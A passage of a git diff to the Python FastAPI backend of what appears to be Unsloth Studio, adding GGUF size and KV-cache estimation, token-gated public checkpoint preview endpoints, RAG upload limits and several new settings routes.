lexicographically first file of + the matching quant is returned. Scoped to one snapshot to avoid summing the + same quant across revisions; when several snapshots hold the quant the most + complete one (largest total) wins so a partial revision can't shadow it. + Mirrors list_local_gguf_variants: quant labels are read from the snapshot- + relative path (so layouts like ``BF16/model.gguf`` resolve) and MTP drafter + files are skipped (so a ``...-Q8_0-MTP.gguf`` drafter can't be picked as the + Q8_0 weights). Never raises. + """ + try: + from utils.models.model_config import ( + _extract_quant_label, + _is_big_endian_gguf_path, + _is_mtp_drafter, + ) + + if is_local: + roots = [Path(repo_id)] + else: + from huggingface_hub import constants as hf_constants + + if not _is_valid_repo_id(repo_id): + return None, 0 + cache_dir = Path(hf_constants.HF_HUB_CACHE) + target = f"models--{repo_id.replace('/', '--')}".lower() + roots = [] + for entry in cache_dir.iterdir(): + if entry.name.lower() == target: + snaps = entry / "snapshots" + if snaps.is_dir(): + roots.extend(s for s in snaps.iterdir() if s.is_dir()) + + want = quant.lower().replace("-", "").replace("_", "") + best_total = 0 + best_first: Optional[str] = None + for root in roots: + matches: list[tuple[str, Path]] = [] + total = 0 + for f in _iter_gguf_paths(root): + if _is_mmproj_filename(f.name): + continue + try: + rel = f.relative_to(root).as_posix() + except ValueError: + rel = f.name + if _is_mtp_drafter(rel): + continue + q = _extract_quant_label(rel) + if _is_big_endian_gguf_path(rel, q): + continue + if q.lower().replace("-", "").replace("_", "") != want: + continue + try: + total += f.stat().st_size + except OSError: + continue + matches.append((rel, f)) + # Prefer the most complete snapshot so a partial older revision can't + # shadow a newer complete one and underestimate the weight bytes. + if matches and total > best_total: + matches.sort(key = lambda m: m[0]) + best_total = total + best_first = str(matches[0][1]) + if best_first is not None: + return best_first, best_total + except Exception: + pass + return None, 0 + + +@router.get("/kv-cache-estimate") +async def get_kv_cache_estimate( + repo_id: str = Query(..., description = "HF repo ID or local path"), + quant: str = Query(..., description = "Quantization label (e.g. Q4_K_M)"), + n_ctx: int = Query(..., ge = 1, description = "Context length to size the KV cache for"), + cache_type_kv: Optional[str] = Query(None, description = "KV cache dtype (e.g. q8_0)"), + current_subject: str = Depends(get_current_subject), +): + """Estimate KV cache + weight bytes for a downloaded GGUF at n_ctx. + + Powers the load dialog's "exceeds memory" warning using the same + architecture-aware estimator as load. Best-effort: returns nulls when the + metadata is unavailable so the UI simply shows no warning. + """ + null = {"kv_bytes": None, "weights_bytes": None, "native_context": None} + try: + from utils.models.model_config import is_local_path + + is_local = is_local_path(repo_id) + path, weights_bytes = _resolve_quant_gguf(repo_id, quant, is_local) + if not path: + return null + + from core.inference.llama_cpp import LlamaCppBackend + + be = LlamaCppBackend.__new__(LlamaCppBackend) + for attr in ( + "_context_length", + "_n_layers", + "_n_kv_heads", + "_n_heads", + "_embedding_length", + "_kv_key_length", + "_kv_value_length", + "_kv_lora_rank", + "_sliding_window", + "_sliding_window_pattern", + "_ssm_inner_size", + "_full_attention_interval", + "_key_length_mla", + "_n_kv_heads_by_layer", + "_kv_key_length_swa", + "_kv_value_length_swa", + "_shared_kv_layers", + "_nextn_predict_layers", + ): + setattr(be, attr, None) + be._model_identifier = "kv-estimate" + be._read_gguf_metadata(path) + + kv = be._estimate_kv_cache_bytes(n_ctx, cache_type_kv) + return { + "kv_bytes": int(kv) if kv else None, + "weights_bytes": weights_bytes or None, + "native_context": be._context_length, + } + except Exception as e: + logger.debug(f"kv-cache-estimate failed for '{repo_id}' {quant}: {e}") + return null + + @router.get("/gguf-variants", response_model = GgufVariantsResponse) async def get_gguf_variants( repo_id: str = Query( ..., description = "HuggingFace repo ID (e.g. 'unsloth/gemma-3-4b-it-GGUF')" ), hf_token: Optional[str] = Query(None, description = "HuggingFace token for private repos"), + hf_token_header: Optional[str] = Depends(get_hf_token), current_subject: str = Depends(get_current_subject), ): - """List GGUF quantization variants for a HF repo or local directory. - - Returns all variants with file sizes, vision support, and the - recommended default. - """ + """List GGUF quantization variants for a HF repo or local directory.""" try: - from utils.models.model_config import is_local_path, list_local_gguf_variants + hf_token = _normalize_hf_token(hf_token_header) or _normalize_hf_token(hf_token) + from hub.services.models import gguf_variants as hub_gguf_variants - # Local directory path — scan filesystem. - if is_local_path(repo_id): - variants, has_vision = list_local_gguf_variants(repo_id) - - filenames = [v.filename for v in variants] - best = _pick_best_gguf(filenames) - default_variant = _extract_quant_label(best) if best else None - - return GgufVariantsResponse( - repo_id = repo_id, - variants = [ - GgufVariantDetail( - filename = v.filename, - quant = v.quant, - size_bytes = v.size_bytes, - downloaded = True, # all local variants are downloaded - ) - for v in variants - ], - has_vision = has_vision, - default_variant = default_variant, - ) - - # Remote HuggingFace repo — query HF API. - variants, has_vision = list_gguf_variants(repo_id, hf_token = hf_token) - - filenames = [v.filename for v in variants] - best = _pick_best_gguf(filenames) - default_variant = _extract_quant_label(best) if best else None - - # Per-snapshot so a split GGUF's shards must all sit in one snapshot; - # mmproj adapters are excluded so they can't inflate a quant's bytes. - cached_bytes_by_quant_per_snapshot: list[dict[str, int]] = [] - try: - from huggingface_hub import constants as hf_constants - - if not _is_valid_repo_id(repo_id): - raise ValueError(f"Invalid repo_id format: {repo_id}") - - cache_dir = Path(hf_constants.HF_HUB_CACHE) - target = f"models--{repo_id.replace('/', '--')}".lower() - for entry in cache_dir.iterdir(): - if entry.name.lower() == target: - snapshots = entry / "snapshots" - if snapshots.is_dir(): - for snap in snapshots.iterdir(): - by_quant: dict[str, int] = {} - for f in _iter_gguf_paths(snap): - if _is_mmproj_filename(f.name): - continue - try: - size = f.stat().st_size - except OSError: - continue # broken symlink / unreadable: skip - rel = f.relative_to(snap).as_posix() - q = _extract_quant_label(rel) - if _is_big_endian_gguf_path(rel, q): - continue - q = q.lower() - by_quant[q] = by_quant.get(q, 0) + size - if by_quant: - cached_bytes_by_quant_per_snapshot.append(by_quant) - break - except Exception: - pass - - def _is_fully_downloaded(variant) -> bool: - if variant.size_bytes == 0: - return False - # Complete within one snapshot (tolerance for symlink size jitter). - quant = variant.quant.lower() - return any( - by_quant.get(quant, 0) >= variant.size_bytes * 0.99 - for by_quant in cached_bytes_by_quant_per_snapshot - ) + response = await hub_gguf_variants.get_gguf_variants_response( + repo_id, + hf_token = hf_token, + ) + local = is_local_path(repo_id) return GgufVariantsResponse( - repo_id = repo_id, + repo_id = response.repo_id, variants = [ GgufVariantDetail( filename = v.filename, quant = v.quant, size_bytes = v.size_bytes, - downloaded = _is_fully_downloaded(v), + download_size_bytes = int( + getattr(v, "download_size_bytes", v.size_bytes) or v.size_bytes + ), + downloaded = bool(v.downloaded), + update_available = bool(getattr(v, "update_available", False)), ) - for v in variants + for v in response.variants ], - has_vision = has_vision, - default_variant = default_variant, + has_vision = response.has_vision, + default_variant = response.default_variant, + context_length = _read_native_context_length(repo_id, is_local = local), ) - + except HTTPException: + raise except Exception as e: logger.error(f"Error listing GGUF variants for '{repo_id}': {e}", exc_info = True) raise HTTPException( @@ -2652,6 +2991,14 @@ def _is_main_gguf_filename(name: str) -> bool: return _is_gguf_filename(name) and not _is_mmproj_filename(name) +def _repo_has_mmproj(repo_info) -> bool: + """True if the repo ships a GGUF vision adapter (mmproj), so it can + take image inputs. Cheap: scans already-listed file names only.""" + return any( + _is_mmproj_filename(f.file_name) for revision in repo_info.revisions for f in revision.files + ) + + def _iter_gguf_paths(root: Path): for path in root.rglob("*"): if path.is_file() and _is_gguf_filename(path.name): @@ -2749,6 +3096,7 @@ async def list_cached_gguf(current_subject: str = Depends(get_current_subject)): "repo_id": repo_id, "size_bytes": total_size, "cache_path": str(repo_info.repo_path), + "has_vision": _repo_has_mmproj(repo_info), } # Keep the newest timestamp across duplicate caches; # attach only when known so absent rows sort as oldest. @@ -2773,10 +3121,14 @@ async def list_cached_gguf(current_subject: str = Depends(get_current_subject)): return {"cached": []} -@router.get("/cached-models") -async def list_cached_models(current_subject: str = Depends(get_current_subject)): +@router.get("/cached-models", response_model = CachedModelsResponse) +async def list_cached_models( + current_subject: str = Depends(get_current_subject), + hf_token: Optional[str] = Depends(get_hf_token), +): """List non-GGUF model repos downloaded to HF cache, legacy Unsloth cache, and HF default cache.""" _WEIGHT_EXTENSIONS = (".safetensors", ".bin") + hf_token = _normalize_hf_token(hf_token) try: cache_scans = _all_hf_cache_scans() @@ -2797,20 +3149,16 @@ async def list_cached_models(current_subject: str = Depends(get_current_subject) ) if total_size == 0: continue - has_weights = any( - f.file_name.endswith(_WEIGHT_EXTENSIONS) + weight_files = [ + f for rev in repo_info.revisions for f in rev.files - ) - if not has_weights: + if f.file_name.endswith(_WEIGHT_EXTENSIONS) + ] + if not weight_files: continue last_modified = max( - ( - _blob_mtime(f) - for rev in repo_info.revisions - for f in rev.files - if f.file_name.endswith(_WEIGHT_EXTENSIONS) - ), + (_blob_mtime(f) for f in weight_files), default = 0.0, ) key = repo_id.lower() @@ -2832,9 +3180,12 @@ async def list_cached_models(current_subject: str = Depends(get_current_subject) repo_label = getattr(repo_info, "repo_id", "") logger.warning(f"Skipping cached model repo {repo_label}: {e}") continue - # Newest download first; stable repo_id tie-break for equal/missing mtimes. + + rows = list(seen_lower.values()) + # Local-only list path: update checks are GGUF-only and happen lazily + # when a repo's variants are viewed. cached = sorted( - seen_lower.values(), + rows, key = lambda c: (-(c.get("last_modified") or 0.0), c["repo_id"].lower()), ) return {"cached": cached} diff --git a/studio/backend/routes/preview.py b/studio/backend/routes/preview.py new file mode 100644 index 0000000000..5acf039401 --- /dev/null +++ b/studio/backend/routes/preview.py @@ -0,0 +1,303 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Per-checkpoint preview endpoints: /p/{run}[/{checkpoint}]/v1/...""" + +from __future__ import annotations + +import asyncio +import html +from pathlib import Path +from urllib.parse import quote + +from fastapi import APIRouter, Depends, HTTPException, Request +from fastapi.responses import FileResponse, HTMLResponse, StreamingResponse +from loggers import get_logger + +from auth.authentication import get_current_subject +from auth.storage import DEFAULT_ADMIN_USERNAME +from models.inference import ChatCompletionRequest, LoadRequest +from routes.inference import ( + disable_openai_auto_switch_for_request, + load_model, + openai_chat_completions, +) +from state.tool_policy import tools_force_disabled +from utils.client_ip import client_ip +from utils.models.checkpoints import list_preview_targets, resolve_preview_checkpoint +from utils.preview_rate_limit import check_rate_limit +from utils.preview_sharing_settings import get_preview_sharing_enabled +from utils.preview_token import sign_preview_ref, verify_preview_ref + +logger = get_logger(__name__) + +router = APIRouter() + +# A shared preview link is a public bearer capability; cap per-request generation +# so a single call can't tie up the (serialized) preview GPU indefinitely. +_PREVIEW_MAX_OUTPUT_TOKENS = 1024 + +# Capability-gated (signed ref required); resolve_preview_checkpoint pins `run` +# under outputs_root. One model loads at a time, so serialize load+generate. +_preview_lock = asyncio.Lock() + + +def _extract_token(request: Request) -> str | None: + """Capability token from the ``?k=`` query (browser link + preview page) or an + ``Authorization: Bearer`` header (OpenAI-compatible clients using it as api_key).""" + token = request.query_params.get("k") + if token: + return token + header = request.headers.get("authorization", "") + if header[:7].lower() == "bearer ": + return header[7:].strip() or None + return None + + +def _verify_or_404(run: str, checkpoint: str | None, request: Request) -> None: + """Require a valid preview capability BEFORE any checkpoint resolve / model load. + + Missing or invalid tokens get a generic 404 -- identical to a non-existent ref -- + so the public surface never confirms whether a run/checkpoint exists. When an + admin has switched public sharing off, every public request 404s regardless of + token. + + Verify the (cheap, no-I/O) capability first: an unauthenticated caller with a + bad/missing token is rejected without the kill-switch DB read, so spamming + ``/p/...`` can't be used as an unbounded settings-DB sink, and the response is + identical whether or not sharing is enabled (no on/off oracle). + """ + ref = run if not checkpoint else f"{run}/{checkpoint}" + if not verify_preview_ref(ref, _extract_token(request)): + raise HTTPException(status_code = 404, detail = "Not found") + if not get_preview_sharing_enabled(): + raise HTTPException(status_code = 404, detail = "Not found") + + +def _enforce_rate_limit(request: Request) -> None: + """Throttle the GPU-backed preview chat per client IP (429 on exceed).""" + retry_after = check_rate_limit(client_ip(request)) + if retry_after: + raise HTTPException( + status_code = 429, + detail = "Too many preview requests. Please slow down.", + headers = {"Retry-After": str(retry_after)}, + ) + + +def _resolve_or_4xx(run: str, checkpoint: str | None): + try: + return resolve_preview_checkpoint(run, checkpoint) + except ValueError as exc: + # Detail can carry the absolute install path on a symlink escape; log it, + # return a generic message on this public route. + logger.warning("preview path rejected: %s", exc) + raise HTTPException(status_code = 400, detail = "Invalid run or checkpoint") + except FileNotFoundError as exc: + raise HTTPException(status_code = 404, detail = str(exc)) + + +def _sanitize_preview_payload( + payload: ChatCompletionRequest, is_lora: bool +) -> ChatCompletionRequest: + # Public surface: strip tools/MCP + provider routing (no host code / open proxy). + # Normalize use_adapter (never trust the caller): pin True for LoRA, None for + # merged. _apply_adapter_state mutates the shared model without restoring, so an + # unpinned `false` would persist to later visitors who omit the field. + # + # Cap generation cost on this public, GPU-backed surface. Derive one effective + # limit (mirroring _effective_max_tokens: max_completion_tokens wins, else the + # legacy max_tokens) and pin BOTH fields to it, so a caller's lower limit is + # honored and neither field can exceed the ceiling. + requested = ( + payload.max_completion_tokens + if payload.max_completion_tokens is not None + else payload.max_tokens + ) + capped_max_tokens = ( + min(requested, _PREVIEW_MAX_OUTPUT_TOKENS) + if requested is not None + else _PREVIEW_MAX_OUTPUT_TOKENS + ) + return payload.model_copy( + update = { + "tools": None, + "enable_tools": False, + "enabled_tools": None, + "mcp_enabled": False, + "bypass_permissions": False, + "confirm_tool_calls": False, + "session_id": None, + "rag_scope": None, + "openai_code_exec_container_id": None, + "anthropic_code_exec_container_id": None, + "provider_id": None, + "provider_type": None, + "external_model": None, + "encrypted_api_key": None, + "provider_base_url": None, + "use_adapter": True if is_lora else None, + "max_tokens": capped_max_tokens, + "max_completion_tokens": capped_max_tokens, + "n": 1, + } + ) + + +async def _unlock_after(body_iterator): + # Hold the lock until the stream drains so another checkpoint can't swap mid-stream. + try: + async for chunk in body_iterator: + yield chunk + finally: + _preview_lock.release() + + +async def _serve_chat( + run: str, checkpoint: str | None, payload: ChatCompletionRequest, request: Request +): + path = _resolve_or_4xx(run, checkpoint) + is_lora = (path / "adapter_config.json").exists() + payload = _sanitize_preview_payload(payload, is_lora) + # Preview always serves the pinned checkpoint it loads below; a public caller's + # `model` field must never trigger an OpenAI auto-switch to another GGUF. + disable_openai_auto_switch_for_request(getattr(request, "scope", None)) + await _preview_lock.acquire() + keep_locked = False + try: + await load_model(LoadRequest(model_path = str(path)), request, DEFAULT_ADMIN_USERNAME) + # Beats a process-wide `--enable-tools` (enable_tools=False alone wouldn't). + with tools_force_disabled(): + response = await openai_chat_completions(payload, request, DEFAULT_ADMIN_USERNAME) + if isinstance(response, StreamingResponse): + response.body_iterator = _unlock_after(response.body_iterator) + keep_locked = True + return response + finally: + if not keep_locked: + _preview_lock.release() + + +@router.get("") +async def list_previews(request: Request, current_subject: str = Depends(get_current_subject)): + base = str(request.base_url) + sharing_on = get_preview_sharing_enabled() + previews = [] + for target in list_preview_targets(): + ref = quote(target["ref"], safe = "/") + # Mint the capability for the authenticated owner: ``key`` for OpenAI + # clients (Bearer / api_key), ``share_url`` for the browser link. When + # public sharing is off, every public /p request 404s, so don't hand out + # dead credentials -- omit the capability and signal the disabled state. + token = sign_preview_ref(target["ref"]) if sharing_on else None + previews.append( + { + **target, + "url": f"{base}p/{ref}/v1", + "key": token, + "share_url": f"{base}p/{ref}?k={token}" if token else None, + } + ) + return {"object": "list", "data": previews, "sharing_enabled": sharing_on} + + +@router.post("/{run}/v1/chat/completions") +async def preview_chat_latest(run: str, payload: ChatCompletionRequest, request: Request): + _verify_or_404(run, None, request) + _enforce_rate_limit(request) + return await _serve_chat(run, None, payload, request) + + +@router.post("/{run}/{checkpoint}/v1/chat/completions") +async def preview_chat_checkpoint( + run: str, checkpoint: str, payload: ChatCompletionRequest, request: Request +): + _verify_or_404(run, checkpoint, request) + _enforce_rate_limit(request) + return await _serve_chat(run, checkpoint, payload, request) + + +def _models_response(run: str, checkpoint: str | None): + path = _resolve_or_4xx(run, checkpoint) + model_id = run if not checkpoint else f"{run}/{checkpoint}" + return { + "object": "list", + "data": [ + { + "id": model_id, + "object": "model", + "created": int(path.stat().st_mtime), + "owned_by": "unsloth-studio", + } + ], + } + + +# The models/page GET routes only stat the checkpoint dir (no GPU), so they are +# token-gated but not rate-limited; only the GPU-backed chat path is throttled. +@router.get("/{run}/v1/models") +async def preview_models_latest(run: str, request: Request): + _verify_or_404(run, None, request) + return _models_response(run, None) + + +@router.get("/{run}/{checkpoint}/v1/models") +async def preview_models_checkpoint(run: str, checkpoint: str, request: Request): + _verify_or_404(run, checkpoint, request) + return _models_response(run, checkpoint) + + +# Serve logo/fonts here too: the SPA static mount is absent in --api-only (Tauri). +_FRONTEND_DIST = (Path(__file__).resolve().parents[2] / "frontend" / "dist").resolve() +_PREVIEW_ASSET_MEDIA_TYPES = { + ".png": "image/png", + ".woff": "font/woff", + ".woff2": "font/woff2", +} + + +@router.get("/_assets/{asset_path:path}") +async def preview_asset(asset_path: str): + target = (_FRONTEND_DIST / asset_path).resolve() + media_type = _PREVIEW_ASSET_MEDIA_TYPES.get(target.suffix.lower()) + if media_type is None or not target.is_relative_to(_FRONTEND_DIST) or not target.is_file(): + raise HTTPException(status_code = 404, detail = "Not found") + return FileResponse(target, media_type = media_type) + + +# Self-contained public page; only the title is interpolated. +_PREVIEW_PAGE_HTML = ( + Path(__file__).resolve().parent.parent / "assets" / "preview_page.html" +).read_text(encoding = "utf-8") + +_PREVIEW_PAGE_CSP = ( + "default-src 'self'; script-src 'unsafe-inline'; style-src 'unsafe-inline'; " + "img-src 'self'; font-src 'self'; connect-src 'self'; base-uri 'none'" +) + + +def _preview_page(run: str, checkpoint: str | None) -> HTMLResponse: + _resolve_or_4xx(run, checkpoint) + title = run if not checkpoint else f"{run}/{checkpoint}" + page = _PREVIEW_PAGE_HTML.replace("__TITLE__", html.escape(title)) + # no-referrer: the capability token rides in the query string, so keep it out + # of the Referer header on any outbound navigation. + return HTMLResponse( + page, + headers = { + "Content-Security-Policy": _PREVIEW_PAGE_CSP, + "Referrer-Policy": "no-referrer", + }, + ) + + +@router.get("/{run}", response_class = HTMLResponse) +async def preview_page_latest(run: str, request: Request): + _verify_or_404(run, None, request) + return _preview_page(run, None) + + +@router.get("/{run}/{checkpoint}", response_class = HTMLResponse) +async def preview_page_checkpoint(run: str, checkpoint: str, request: Request): + _verify_or_404(run, checkpoint, request) + return _preview_page(run, checkpoint) diff --git a/studio/backend/routes/rag.py b/studio/backend/routes/rag.py index 8d23240fd5..e20fea74a3 100644 --- a/studio/backend/routes/rag.py +++ b/studio/backend/routes/rag.py @@ -19,7 +19,7 @@ import secrets import time import uuid -from fastapi import APIRouter, Depends, File, HTTPException, Query, UploadFile +from fastapi import APIRouter, Depends, File, Form, HTTPException, Query, UploadFile from fastapi.responses import FileResponse, StreamingResponse from pydantic import BaseModel, Field @@ -62,13 +62,24 @@ def _save_upload(file: UploadFile) -> tuple[str, str]: uploads = ensure_dir(rag_uploads_root()) stored_path = str(uploads / f"{uuid.uuid4().hex}{ext}") size = 0 + cap = config.MAX_UPLOAD_BYTES + too_big = False with open(stored_path, "wb") as out: while True: block = file.file.read(1 << 20) if not block: break size += len(block) + if cap and size > cap: + too_big = True + break out.write(block) + if too_big: + os.remove(stored_path) + raise HTTPException( + status_code = 413, + detail = f"File exceeds the {cap // (1024 * 1024)} MB upload limit.", + ) if size == 0: os.remove(stored_path) raise HTTPException(status_code = 400, detail = "Uploaded file is empty.") @@ -156,7 +167,7 @@ def create_knowledge_base( conn, name = payload.name.strip(), description = (payload.description or None), - embedding_model = config.EMBEDDING_MODEL, + embedding_model = config.effective_embedding_model(), ) return {"id": kb_id, "name": payload.name.strip()} finally: @@ -207,6 +218,8 @@ def delete_knowledge_base(kb_id: str, subject: str = Depends(get_current_subject async def upload_kb_document( kb_id: str, file: UploadFile = File(...), + ocr: bool | None = Form(None), + caption: bool | None = Form(None), subject: str = Depends(get_current_subject), ) -> dict: _require_rag() @@ -218,7 +231,7 @@ async def upload_kb_document( conn.close() stored_path, filename = _save_upload(file) document_id, job_id = ingestion.start_ingestion( - store.kb_scope(kb_id), kb_id, None, filename, stored_path + store.kb_scope(kb_id), kb_id, None, filename, stored_path, ocr = ocr, caption = caption ) return {"documentId": document_id, "jobId": job_id, "filename": filename} @@ -238,12 +251,20 @@ def list_kb_documents(kb_id: str, subject: str = Depends(get_current_subject)) - async def upload_thread_document( thread_id: str, file: UploadFile = File(...), + ocr: bool | None = Form(None), + caption: bool | None = Form(None), subject: str = Depends(get_current_subject), ) -> dict: _require_rag() stored_path, filename = _save_upload(file) document_id, job_id = ingestion.start_ingestion( - store.thread_scope(thread_id), None, thread_id, filename, stored_path + store.thread_scope(thread_id), + None, + thread_id, + filename, + stored_path, + ocr = ocr, + caption = caption, ) return {"documentId": document_id, "jobId": job_id, "filename": filename} @@ -263,6 +284,8 @@ def list_thread_documents(thread_id: str, subject: str = Depends(get_current_sub async def upload_project_document( project_id: str, file: UploadFile = File(...), + ocr: bool | None = Form(None), + caption: bool | None = Form(None), subject: str = Depends(get_current_subject), ) -> dict: _require_rag() @@ -278,6 +301,8 @@ async def upload_project_document( filename, stored_path, project_id = project_id, + ocr = ocr, + caption = caption, ) return {"documentId": document_id, "jobId": job_id, "filename": filename} @@ -321,6 +346,7 @@ def job_status(job_id: str, subject: str = Depends(get_current_subject)) -> dict "stage": row.get("stage"), "progress": row.get("progress") or 0.0, "error": row.get("error"), + "numChunks": row.get("num_chunks") or 0, } diff --git a/studio/backend/routes/settings.py b/studio/backend/routes/settings.py index 516502c1e5..bbee374334 100644 --- a/studio/backend/routes/settings.py +++ b/studio/backend/routes/settings.py @@ -1,12 +1,22 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 -from fastapi import APIRouter, Depends -from pydantic import BaseModel, Field +from typing import Literal, Optional +from urllib.parse import unquote, urlsplit + +from fastapi import APIRouter, Depends, HTTPException +from pydantic import BaseModel, ConfigDict, Field, field_validator from auth.authentication import get_current_subject +from auth.storage import rotate_preview_link_secret from loggers import get_logger from utils.utils import safe_error_detail, log_and_http_error +from utils.personalization_settings import ( + MAX_AVATAR_DATA_URL_BYTES, + PERSONALIZATION_VERSION, + get_personalization, + set_personalization, +) from utils.upload_limits import ( MAX_UPLOAD_LIMIT_MB, MIN_UPLOAD_LIMIT_MB, @@ -22,6 +32,31 @@ from utils.helper_precache_settings import ( helper_model_disabled_by_env, set_helper_precache_enabled, ) +from utils.coding_agents import CODING_AGENTS, detect_installed_coding_agents +from utils.openai_auto_switch_settings import ( + DEFAULT_AUTO_UNLOAD_IDLE_SECONDS, + DEFAULT_OPENAI_AUTO_SWITCH_ENABLED, + get_auto_unload_idle_seconds, + get_model_overrides, + get_openai_auto_switch_enabled, + get_stored_auto_unload_idle_seconds, + set_model_override, + set_openai_auto_switch, +) +from utils.preview_sharing_settings import ( + DEFAULT_PREVIEW_SHARING_ENABLED, + get_preview_sharing_enabled, + set_preview_sharing_enabled, +) +from utils.embedding_model_settings import ( + MAX_EMBEDDING_MODEL_LENGTH, + default_embedding_model, + get_rag_embedding_model, + get_stored_embedding_model, + reset_rag_embedding_model, + set_rag_embedding_model, + validate_embedding_model, +) router = APIRouter() @@ -51,6 +86,33 @@ class HelperPrecacheResponse(BaseModel): disabled_by_env: bool +class OpenAIAutoSwitchPayload(BaseModel): + enabled: bool + auto_unload_idle_seconds: int = Field(default = DEFAULT_AUTO_UNLOAD_IDLE_SECONDS, ge = 0) + + +class OpenAIAutoSwitchResponse(BaseModel): + enabled: bool + auto_unload_idle_seconds: int + default_enabled: bool = DEFAULT_OPENAI_AUTO_SWITCH_ENABLED + # True when the idle-unload loop will actually unload (effective TTL > 0). With + # UNSLOTH_MODEL_IDLE_TTL set and nothing stored, this is true even while enabled + # is false, so the UI can show idle-unload as active instead of "needs enable". + idle_unload_active: bool = False + + +class ModelOverridePayload(BaseModel): + model_id: str = Field(..., min_length = 1) + llama_extra_args: list[str] = Field(default_factory = list) + # ge=1: 0 is not a valid sequence length, and the setter drops a falsy value, + # so reject it at the boundary instead of accepting then silently discarding it. + max_seq_length: Optional[int] = Field(default = None, ge = 1, le = 1048576) + + +class ModelOverridesResponse(BaseModel): + overrides: dict[str, dict] + + def _upload_limit_response(limit_mb: int) -> UploadLimitResponse: return UploadLimitResponse( max_upload_size_mb = limit_mb, @@ -111,3 +173,436 @@ def update_helper_precache( log = logger, ) from exc return _helper_precache_response(enabled) + + +class CodingAgentsResponse(BaseModel): + # All agents `unsloth start` supports, in the CLI's declared order. + agents: tuple[str, ...] = CODING_AGENTS + # Subset of `agents` whose CLI binary was found on PATH; the frontend uses + # this to default the API-keys panel to a command the user can run as-is. + detected: list[str] + + +@router.get("/coding-agents", response_model = CodingAgentsResponse) +def get_coding_agents(current_subject: str = Depends(get_current_subject)) -> CodingAgentsResponse: + return CodingAgentsResponse(detected = detect_installed_coding_agents()) + + +@router.get("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse) +def get_openai_auto_switch( + current_subject: str = Depends(get_current_subject), +) -> OpenAIAutoSwitchResponse: + return OpenAIAutoSwitchResponse( + enabled = get_openai_auto_switch_enabled(), + auto_unload_idle_seconds = get_stored_auto_unload_idle_seconds(), + idle_unload_active = get_auto_unload_idle_seconds() > 0, + ) + + +@router.put("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse) +def update_openai_auto_switch( + payload: OpenAIAutoSwitchPayload, current_subject: str = Depends(get_current_subject) +) -> OpenAIAutoSwitchResponse: + try: + enabled, idle_seconds = set_openai_auto_switch( + payload.enabled, payload.auto_unload_idle_seconds + ) + except ValueError as exc: + raise log_and_http_error( + exc, + 400, + safe_error_detail(exc, fallback = "Invalid OpenAI auto-switch setting."), + event = "settings.update_openai_auto_switch_failed", + log = logger, + ) from exc + return OpenAIAutoSwitchResponse( + enabled = enabled, + auto_unload_idle_seconds = idle_seconds, + idle_unload_active = get_auto_unload_idle_seconds() > 0, + ) + + +@router.get("/openai-auto-switch/overrides", response_model = ModelOverridesResponse) +def get_openai_auto_switch_overrides( + current_subject: str = Depends(get_current_subject), +) -> ModelOverridesResponse: + return ModelOverridesResponse(overrides = get_model_overrides()) + + +@router.put("/openai-auto-switch/overrides", response_model = ModelOverridesResponse) +def update_openai_auto_switch_override( + payload: ModelOverridePayload, current_subject: str = Depends(get_current_subject) +) -> ModelOverridesResponse: + from core.inference.llama_server_args import validate_extra_args + try: + extra_args = validate_extra_args(payload.llama_extra_args) + set_model_override( + payload.model_id, + llama_extra_args = extra_args, + max_seq_length = payload.max_seq_length, + ) + except ValueError as exc: + raise log_and_http_error( + exc, + 400, + safe_error_detail(exc, fallback = "Invalid model launch override."), + event = "settings.update_model_override_failed", + log = logger, + ) from exc + return ModelOverridesResponse(overrides = get_model_overrides()) + + +class EmbeddingModelPayload(BaseModel): + embedding_model: str = Field(..., min_length = 1, max_length = MAX_EMBEDDING_MODEL_LENGTH) + # Token for gated/private repos during verification (not stored). + hf_token: Optional[str] = Field(default = None, max_length = 512) + # Skip HF verification (offline installs, local paths HF can't see). + force: bool = False + + +class EmbeddingModelResponse(BaseModel): + embedding_model: str + default_embedding_model: str + is_custom: bool + + +def _embedding_model_response() -> EmbeddingModelResponse: + return EmbeddingModelResponse( + embedding_model = get_rag_embedding_model(), + default_embedding_model = default_embedding_model(), + is_custom = get_stored_embedding_model() is not None, + ) + + +def _ambient_hf_token() -> Optional[str]: + """The HF token the loader would use (HF_TOKEN env or the cached login), so a gated + repo is scanned rather than failing open. None if unavailable.""" + try: + from huggingface_hub import get_token + return get_token() + except Exception: + return None + + +def _llama_backend_active() -> bool: + """True when this install actually embeds via the llama-server (GGUF) backend. + + Delegates to the embeddings module so a runtime fallback from + sentence-transformers to llama-server (after a torch/CUDA load or encode + failure) is honored: in that state the process loads only inert GGUF, so the + ST pickle gate below must not hard-block a repo whose GGUF companion is clean. + Before any backend is built this still reflects the resolver.""" + from core.rag import embeddings + try: + return embeddings.active_backend_is_llama() + except Exception: # noqa: BLE001 - backend probe must never block saving + return False + + +def _resolves_as_local_gguf(model: str) -> bool: + """True when ``model`` is a local .gguf file or a directory holding one, so + a save on the llama-server backend needs no HF verification (the artifact + itself is the proof).""" + from core.rag.embed_llama_server import LlamaServerBackend + try: + return LlamaServerBackend._resolve_local_gguf(model) is not None + except Exception: # noqa: BLE001 - dir without .gguf, filesystem oddity + return False + + +def _local_gguf_backend_error(model: str) -> str | None: + """409 detail when ``model`` is a local dir without a .gguf but this install + embeds via llama-server (macOS/CPU default), which needs one. A + sentence-transformers-only folder would verify fine yet fail at first index. + None when not applicable. ``force`` skips this check like HF verification.""" + from pathlib import Path + + if not Path(model).expanduser().is_dir(): + return None + from core.rag.embed_llama_server import LlamaServerBackend + + if not _llama_backend_active(): + return None + try: + LlamaServerBackend._resolve_local_gguf(model) + return None + except RuntimeError: + return ( + f"{model!r} contains no .gguf file, but this install embeds with the " + "llama-server backend which requires one. Add a GGUF file to the " + "folder or use a Hugging Face repo." + ) + except Exception: # noqa: BLE001 - filesystem oddity: don't block saving + return None + + +def _hf_gguf_backend_error(model: str, hf_token: Optional[str]) -> str | None: + """409 detail when the llama-server backend would find no .gguf for an HF + repo: neither the derived companion repo nor the repo itself has one. Saves + that verify as embedding models would otherwise fail at first index. + None when not applicable; ``force`` skips this like HF verification.""" + from pathlib import Path + + if Path(model).expanduser().exists(): + return None # local paths are handled by the local checks + if not _llama_backend_active(): + return None + from core.rag import config as rag_config + + candidates = [model] if rag_config._names_gguf(model) else [f"{model}-GGUF", 